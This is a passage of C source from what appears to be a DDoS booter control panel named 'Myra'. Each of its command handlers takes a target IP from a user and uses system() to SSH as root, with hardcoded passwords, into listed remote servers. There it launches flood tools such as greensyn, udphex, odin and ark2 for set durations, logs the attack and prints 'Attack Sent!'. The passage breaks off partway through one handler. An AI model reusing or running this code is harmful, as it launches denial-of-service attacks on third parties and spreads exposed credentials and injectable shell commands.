3185 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3186 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3187 trim_removev2(iptarget); // Trim [iptarget]
3188 char *ipkill[5000]; // Creating A System Function
3189 trim_removev2(ipkill); // Trim [ipkill]
3190 char *ipkill2[5000];
3191 trim_removev2(ipkill2);
3192 char *ipkill3[5000];
3193 trim_removev2(ipkill3);
3194 char *ipkill4[5000];
3195 trim_removev2(ipkill4);
3196 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mANUBIS\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3197 sprintf(ipkill2, "screen -S \"%s.[%s].anubis.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 \"printf '8\n%s\nrandom\nn\ny\n' | timeout 120s ./greensyn\" \r\n", accounts[find_line].username, iptarget, iptarget);
3198 sprintf(ipkill3, "screen -S \"%s.[%s].anubis.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 \"printf '8\n%s\nrandom\nn\ny\n' | timeout 120s ./greensyn\" \r\n", accounts[find_line].username, iptarget, iptarget);
3199 //sprintf(ipkill4, "screen -S \"%s.[%s].anubis.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./anubis %s 120 8\r\n", accounts[find_line].username, iptarget, iptarget);
3200 system(ipkill); // System Execution
3201 system(ipkill2);
3202 system(ipkill3);
3203 //system(ipkill4);
3204 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mANUBIS \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ANBS \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3205 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3206 }
3207 if (strstr(myra_buffer_size, ".ethera") || strstr(myra_buffer_size, ".ETHERA")) // BT DHT
3208 {
3209 char iptarget[5000]; // Char Every Line For Output Communication
3210 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3211 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3212 trim_removev2(iptarget); // Trim [iptarget]
3213 char *ipkill[5000]; // Creating A System Function
3214 trim_removev2(ipkill); // Trim [ipkill]
3215 char *ipkill2[5000];
3216 trim_removev2(ipkill2);
3217 char *ipkill3[5000];
3218 trim_removev2(ipkill3);
3219 char *ipkill4[5000];
3220 trim_removev2(ipkill4);
3221 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mETHERA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3222 sprintf(ipkill2, "screen -S \"%s.[%s].ethera.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./ethera %s 120 8\r\n", accounts[find_line].username, iptarget, iptarget);
3223 sprintf(ipkill3, "screen -S \"%s.[%s].ethera.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./ethera %s 120 8\r\n", accounts[find_line].username, iptarget, iptarget);
3224 //sprintf(ipkill4, "screen -S \"%s.[%s].ethera.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./ethera %s 120 8\r\n", accounts[find_line].username, iptarget, iptarget);
3225 system(ipkill); // System Execution
3226 system(ipkill2);
3227 system(ipkill3);
3228 //system(ipkill4);
3229 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mETHERA \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ETRA \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3230 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3231 }
3232 if (strstr(myra_buffer_size, ".home") || strstr(myra_buffer_size, ".HOME")) // BT DHT
3233 {
3234 char iptarget[5000]; // Char Every Line For Output Communication
3235 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3236 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3237 trim_removev2(iptarget); // Trim [iptarget]
3238 char *ipkill[5000]; // Creating A System Function
3239 trim_removev2(ipkill); // Trim [ipkill]
3240 char *ipkill2[5000];
3241 trim_removev2(ipkill2);
3242 char *ipkill3[5000];
3243 trim_removev2(ipkill3);
3244 char *ipkill4[5000];
3245 trim_removev2(ipkill4);
3246 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3247 sprintf(ipkill2, "screen -S \"%s.[%s].home.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./udphex %s 120\r\n", accounts[find_line].username, iptarget, iptarget);
3248 sprintf(ipkill3, "screen -S \"%s.[%s].home.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./udphex %s 120\r\n", accounts[find_line].username, iptarget, iptarget);
3249 //sprintf(ipkill4, "screen -S \"%s.[%s].home.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./udphex %s 120\r\n", accounts[find_line].username, iptarget, iptarget);
3250 system(ipkill); // System Execution
3251 system(ipkill2);
3252 system(ipkill3);
3253 //system(ipkill4);
3254 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mHOME \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-HOME \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3255 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3256 }
3257 if (strstr(myra_buffer_size, ".odin") || strstr(myra_buffer_size, ".ODIN")) // BT DHT
3258 {
3259 char iptarget[5000]; // Char Every Line For Output Communication
3260 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3261 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3262 trim_removev2(iptarget); // Trim [iptarget]
3263 char *ipkill[5000]; // Creating A System Function
3264 trim_removev2(ipkill); // Trim [ipkill]
3265 char *ipkill2[5000];
3266 trim_removev2(ipkill2);
3267 char *ipkill3[5000];
3268 trim_removev2(ipkill3);
3269 char *ipkill4[5000];
3270 trim_removev2(ipkill4);
3271 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mODIN\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3272 sprintf(ipkill2, "screen -S \"%s.[%s].odin.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./odin %s odin.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3273 sprintf(ipkill3, "screen -S \"%s.[%s].odin.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./odin %s odin.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3274 //sprintf(ipkill4, "screen -S \"%s.[%s].odin.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./odin %s odin.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3275 system(ipkill); // System Execution
3276 system(ipkill2);
3277 system(ipkill3);
3278 //system(ipkill4);
3279 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mODIN \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ODIN \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3280 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3281 }
3282 if (strstr(myra_buffer_size, ".fn-drop") || strstr(myra_buffer_size, ".FN-DROP")) // BT DHT
3283 {
3284 char iptarget[5000]; // Char Every Line For Output Communication
3285 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3286 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3287 trim_removev2(iptarget); // Trim [iptarget]
3288 char *ipkill[5000]; // Creating A System Function
3289 trim_removev2(ipkill); // Trim [ipkill]
3290 char *ipkill2[5000];
3291 trim_removev2(ipkill2);
3292 char *ipkill3[5000];
3293 trim_removev2(ipkill3);
3294 char *ipkill4[5000];
3295 trim_removev2(ipkill4);
3296 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mFN-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mFN-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3297 sprintf(ipkill2, "screen -S \"%s.[%s].fn-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./fn-drop %s fn-drop.txt 40 88\r\n", accounts[find_line].username, iptarget, iptarget);
3298 sprintf(ipkill3, "screen -S \"%s.[%s].fn-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./fn-drop %s fn-drop.txt 40 88\r\n", accounts[find_line].username, iptarget, iptarget);
3299 //sprintf(ipkill4, "screen -S \"%s.[%s].fn-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./fn-drop %s fn-drop.txt 40 88\r\n", accounts[find_line].username, iptarget, iptarget);
3300 system(ipkill); // System Execution
3301 system(ipkill2);
3302 system(ipkill3);
3303 //system(ipkill4);
3304 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mFN-DROP \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m88\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-FNDP \x1b[38;5;225m║ \x1b[38;5;168mThrottle\x1b[38;5;225m: \e[38;5;134m5\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3305 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3306 }
3307 if (strstr(myra_buffer_size, ".r6-drop") || strstr(myra_buffer_size, ".R6-DROP")) // BT DHT
3308 {
3309 char iptarget[5000]; // Char Every Line For Output Communication
3310 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3311 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3312 trim_removev2(iptarget); // Trim [iptarget]
3313 char *ipkill[5000]; // Creating A System Function
3314 trim_removev2(ipkill); // Trim [ipkill]
3315 char *ipkill2[5000];
3316 trim_removev2(ipkill2);
3317 char *ipkill3[5000];
3318 trim_removev2(ipkill3);
3319 char *ipkill4[5000];
3320 trim_removev2(ipkill4);
3321 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mR6-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mR6D\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3322 sprintf(ipkill2, "screen -S \"%s.[%s].r6-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./r6-drop %s r6-drop.txt 40 120\r\n", accounts[find_line].username, iptarget, iptarget);
3323 sprintf(ipkill3, "screen -S \"%s.[%s].r6-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./r6-drop %s r6-drop.txt 40 120\r\n", accounts[find_line].username, iptarget, iptarget);
3324 //sprintf(ipkill4, "screen -S \"%s.[%s].r6-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./r6-drop %s r6-drop.txt 40 120\r\n", accounts[find_line].username, iptarget, iptarget);
3325 system(ipkill); // System Execution
3326 system(ipkill2);
3327 system(ipkill3);
3328 //system(ipkill4);
3329 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mR6-DROP \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-R6DP \x1b[38;5;225m║ \x1b[38;5;168mThrottle\x1b[38;5;225m: \e[38;5;134m250\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3330 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3331 }
3332 if (strstr(myra_buffer_size, ".eris") || strstr(myra_buffer_size, ".ERIS")) // BT DHT
3333 {
3334 char iptarget[5000]; // Char Every Line For Output Communication
3335 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3336 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3337 trim_removev2(iptarget); // Trim [iptarget]
3338 char *ipkill[5000]; // Creating A System Function
3339 trim_removev2(ipkill); // Trim [ipkill]
3340 char *ipkill2[5000];
3341 trim_removev2(ipkill2);
3342 char *ipkill3[5000];
3343 trim_removev2(ipkill3);
3344 char *ipkill4[5000];
3345 trim_removev2(ipkill4);
3346 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mPRV-ARK-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mARK-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3347 sprintf(ipkill2, "screen -S \"%s.[%s].eris.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./eris %s 120 8\r\n", accounts[find_line].username, iptarget, iptarget);
3348 sprintf(ipkill3, "screen -S \"%s.[%s].eris.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./eris %s 120 8\r\n", accounts[find_line].username, iptarget, iptarget);
3349 //sprintf(ipkill4, "screen -S \"%s.[%s].eris.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./eris %s 120 8\r\n", accounts[find_line].username, iptarget, iptarget);
3350 system(ipkill); // System Execution
3351 system(ipkill2);
3352 system(ipkill3);
3353 //system(ipkill4);
3354 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mERISVLST \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m86400\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ERIS \x1b[38;5;225m║ \x1b[38;5;168mThrottle\x1b[38;5;225m: \e[38;5;134m125\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3355 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3356 }
3357 if (strstr(myra_buffer_size, ".ark-drop") || strstr(myra_buffer_size, ".ARK-DROP")) // BT DHT
3358 {
3359 char iptarget[5000]; // Char Every Line For Output Communication
3360 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3361 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3362 trim_removev2(iptarget); // Trim [iptarget]
3363 char *ipkill[5000]; // Creating A System Function
3364 trim_removev2(ipkill); // Trim [ipkill]
3365 char *ipkill2[5000];
3366 trim_removev2(ipkill2);
3367 char *ipkill3[5000];
3368 trim_removev2(ipkill3);
3369 char *ipkill4[5000];
3370 trim_removev2(ipkill4);
3371 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mARK-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mARK-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3372 sprintf(ipkill2, "screen -S \"%s.[%s].ark-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./ark2 %s 8 120\r\n", accounts[find_line].username, iptarget, iptarget);
3373 //sprintf(ipkill3, "screen -S \"%s.[%s].ark-drop.attack\" -d -m sshpass -p 90UJA90JKiopjfs9ipaofjewp9jfweru3298RJEWRhjtiure ssh root@45.143.220.92 ./ark-crash %s 12 120\r\n", accounts[find_line].username, iptarget, iptarget);
3374 sprintf(ipkill3, "screen -S \"%s.[%s].ark-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./ark2 %s 8 120\r\n", accounts[find_line].username, iptarget, iptarget);
3375 //sprintf(ipkill4, "screen -S \"%s.[%s].ark-drop.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./ark2 %s 8 120\r\n", accounts[find_line].username, iptarget, iptarget);
3376 system(ipkill); // System Execution
3377 system(ipkill2);
3378 system(ipkill3);
3379 //system(ipkill4);
3380 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mARK-DROP \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ARKX \x1b[38;5;225m║ \x1b[38;5;168mThrottle\x1b[38;5;225m: \e[38;5;134m125\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3381 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3382 }
3383 if (strstr(myra_buffer_size, ".redbars") || strstr(myra_buffer_size, ".REDBARS")) // BT DHT
3384 {
3385 char iptarget[5000]; // Char Every Line For Output Communication
3386 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3387 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3388 trim_removev2(iptarget); // Trim [iptarget]
3389 char *ipkill[5000]; // Creating A System Function
3390 trim_removev2(ipkill); // Trim [ipkill]
3391 char *ipkill2[5000];
3392 trim_removev2(ipkill2);
3393 char *ipkill3[5000];
3394 trim_removev2(ipkill3);
3395 char *ipkill4[5000];
3396 trim_removev2(ipkill4);
